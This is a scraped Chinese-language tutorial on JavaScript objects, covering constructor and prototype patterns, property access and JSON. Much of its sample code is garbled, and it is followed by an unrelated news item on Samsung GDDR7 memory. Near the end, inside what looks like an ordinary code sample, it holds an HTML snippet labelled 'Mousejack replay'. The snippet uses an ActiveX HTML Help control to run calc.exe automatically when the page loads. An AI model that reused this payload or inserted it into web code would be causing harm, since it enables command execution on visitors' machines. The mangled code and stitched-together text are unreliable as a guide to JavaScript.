JavaScrtip有六种数据类型,一种复杂的数据类型(引用类型),即Object对象类型,还有五种简单的数据类型(原始类型):Number、String、Boolean、Undefined和Null。其中,最核心的类型就是对象类型了。同时要注意,简单类型都是不可变的,而对象类型是可变的。
什么是对象
一个对象是一组简单数据类型(有时是引用数据类型)的无序列表,被存储为一系列的名-值对(name-value pairs)。这个列表中的每一项被称为 属性(如果是函数则被称为 方法)。
下面是一个简单的对象:
var myFirstObject = { firstName: "Richard", favoriteAuthor: "Conrad" };
可以把对象考虑成一个列表,列表中的每一项(属性或方法)都以名-值对的方式存储。上面例子中,对象的属性名就是firstName和favortieAuthor,相应的,对象的属性值为Richard和Conrad。
属性名可以是字符串或者数字,但是如果以数字作为属性名,则必须以方括号(方括号记法)来获得这个数字属性名对应的属性值。稍后有方括号记法的更详细解释。下面是一个方括号记法的例子:
var ageGroup = {30: "Children", 100:"Very Old"}; console.log(ageGroup.30) // 报错 "30"]); // Children"htmlcode">// 原始类型数据是按值存储的 "Kobe"; "Bryant"; // person的值改变了 "Bryant",对anthoerPerson也会不有丝毫影响,它仍然保存了原本person赋给它的值。
将原始类型的按值存储跟引用类型的按引用存储进行一下比较:
var person = {name: "Kobe"}; "Bryant"; "Bryant"的时候,anotherPerson变量也反应出了这个变化,因为它并没有将person中的所有属性都复制一份保存起来,而是直接保存了对象的引用。
对象属性的特性(Attributes)
注:Attribute一般也是翻译为属性,但是为了跟Propertie(也翻译为属性)进行区分,这里将其翻译为特性,这也是咨询过别人的,应该无伤大雅
每个对象属性不止保存了自身的名-值对,它同时还包含了三个特性,这三个特性默认被设置为true。
"color: #800000">"color: #800000">"htmlcode">// 空对象 "yellow", shape: "round", sweetness: 8, "Hmm Hmm Good"); } }2.对象构造函数
第二种常用的方法是使用对象构造函数。构造函数是一种可以用来创建新对象的特殊函数,要使用new关键字来调用构造函数。var mango = new Object (); mango.color = "yellow"; mango.shape= "round"; mango.sweetness = 8; "Hmm Hmm Good"); }虽然可以使用某些保留字或关键字,比如for作为对象属性的名称,不过这可不是一个明智的选择。
对象的属性可以包含任何数据类型,包括Number,Arrays,甚至是其它的Object。
对象创建的实践模式
对于创建只使用一次的用于存储数据的简单对象,上面的两种方法就可以满足需求。
但是,假设有一个程序用于展示水果和它的详细信息。程序中的每个水果类型都有如下对象属性:color, shape, sweetness, cost 和一个showName函数。要是每次创建一个新的水果对象时,都得敲一遍下面的代码,那将是十分乏味和低效率的。
var mangoFruit = { color: "yellow", sweetness: 8, fruitName: "Mango", nativeToLand: ["South America", "Central America"], "This is " + this.fruitName); }, "Grown in:" + eachCountry); }); } }如果你有10个水果,你就得添加10次相同的代码。并且,如果想修改nativeTo函数,就得在10个不同的地方进行修改。再进一步推想,如果你在开发一个大型网站,你为上面的对象都一个一个添加了属性。但是,你突然发现你创建对象的方式不是很理想,你想要进行修改,这时又该怎么办。
为了解决这些重复性的问题,软件工程师们发明了各种模式(对于重复问题和常见任务的解决方案),使用开发程序更有效率和合理化。
下面是两种创建对象的常用模式:
1.构造方法模式
function Fruit (theColor, theSweetness, theFruitName, theNativeToLand) { this.color = theColor; this.sweetness = theSweetness; this.fruitName = theFruitName; this.nativeToLand = theNativeToLand; this.showName = function () { console.log("This is a " + this.fruitName); } this.nativeTo = function () { this.nativeToLand.forEach(function (eachCountry) { console.log("Grown in:" + eachCountry); }); } }使用这种模式,很容易就可以创建出各式各样的水果来。像这样:
var mangoFruit = new Fruit ("Yellow", 8, "Mango", ["South America", "Central America", "West Africa"]); mangoFruit.showName(); // This is a Mango."Brown", 5, "Pineapple", ["United States"]); pineappleFruit.showName(); // This is a Pineapple.如果你要改变属性或方法,你只需要在一个地方进行修改就可以了。这个模式通过一个Fruit函数的继承,封装了所有水果的功能和特性。
注意:
"rich";
"htmlcode">// 首先,创建一个对象 var aMango = new Fruit (); // 接着,直接在对象上定义mongoSpice方法 // 因为我们直接在对象身上定义了mangoSpice属性,所以它是aMango自身的属性,不是一个可继承的属性 aMango.mangoSpice = “some value”;"some value"
"htmlcode">// 首先,增加一个方法 aMango.printStuff = function() { return "Printing"; } // 现在,可以调用printStuff方法 aMango.printStuff();2.原型模式
function Fruit () { } Fruit.prototype.color = "Yellow"; Fruit.prototype.sweetness = 7; Fruit.prototype.fruitName = "Generic Fruit"; Fruit.prototype.nativeToLand = "USA"; Fruit.prototype.showName = function () { console.log("This is a " + this.fruitName); } Fruit.prototype.nativeTo = function () { console.log("Grown in:" + this.nativeToLand); }下面是在原型模式中调用Fruit()构造函数的方法:
var mangoFruit = new Fruit (); mangoFruit.showName(); //"color: #800000"> 1.点记法
// 这是我们前面例子中一直使用的访问属性的方法 "Ways to Go", pages: 280, bookMark1:"Page 20"}; "color: #800000">2.中括号记法
// 使用方括号启示访问book对象的属性: console.log ( book["title"]); //Ways to Go"pages"]); // 280"title"; console.log ( book[bookTitle]); // Ways to Go"bookMark" + 1]); // Page 20访问一个对象中不存在的属性会得到一个undefined。
自身属性和继承属性
对象拥有自身属性和继承属性。自身属性是直接定义在对象上的属性,而继承属性是从Object的Prototype继承的属性。
为了确写一个对象是否拥有某个属性(不管是自身属性还是继承属性),可以使用in操作符:
// 创建一个有schoolName属性的对象 var school = {schoolName:"MIT"}; "schoolName" in school); // true"schoolType" in school); // false"toString" in school); // truehasOwnProperty
为了确定一个对象是否拥有一个特定的自身属性,可以使用hasOwnPrototype方法。这个方法十分有用,因为我们经常需要枚举一个对象的所有自身属性,而不是继承属性。
// 创建一个拥有schoolName属性的对象 "MIT"}; "schoolName")); // true"toString")); // false访问和枚举对象中的属性
为了访问对象中可以枚举的属性(自身或者继承的),可以使用for-in循环或普通的循环方式。
// 创建拥有3个属性的school对象: schoolName, schoolAccredited, and schoolLocation."MIT", schoolAccredited: true, schoolLocation:"Massachusetts"}; "htmlcode">//使用for-in循环访问school对象中的属性 for (var eachItem in school) { console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation"this" keyword to define the property. */"University"; } // Implement inheritance with the HigherLearning constructor"MIT"; school.schoolAccredited = true; school.schoolLocation = "Massachusetts"; //Use of the for/in loop to access the properties in the school object"htmlcode">var christmasList = {mike:"Book", jason:"sweater" } delete christmasList.mike; // deletes the mike property"[object Object]""this"关键字。 //我们并没有在HigherLearning函数的prototype对象在定义educationLevel属性。 console.log(school.hasOwnProperty("educationLevel")); // true"University 2"; // 这个educationLevel2属性不属性HigherLearning实例的自身属性 // educationLevel2属性不是school实例的自身属性"educationLevel2")); false"htmlcode">var christmasList = {mike:"Book", jason:"sweater", chelsea:"iPad" } JSON.stringify (christmasList); // Prints this string:"{"mike":"Book","jason":"sweater","chels":"iPad"}" // To print a stringified object with formatting, add "null" and "4" as parameters:"{ // "mike": "Book", // "jason": "sweater", // "chels": "iPad"" // JSON.parse Examples // The following is a JSON string, so we cannot access the properties with dot notation (like christmasListStr.mike)"mike":"Book","jason":"sweater","chels":"iPad"}'; // Let's convert it to an object"htmlcode"><!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body> command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。
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三星在GTC上展示了专为下一代游戏GPU设计的GDDR7内存。
首次推出的GDDR7内存模块密度为16GB,每个模块容量为2GB。其速度预设为32 Gbps(PAM3),但也可以降至28 Gbps,以提高产量和初始阶段的整体性能和成本效益。
据三星表示,GDDR7内存的能效将提高20%,同时工作电压仅为1.1V,低于标准的1.2V。通过采用更新的封装材料和优化的电路设计,使得在高速运行时的发热量降低,GDDR7的热阻比GDDR6降低了70%。
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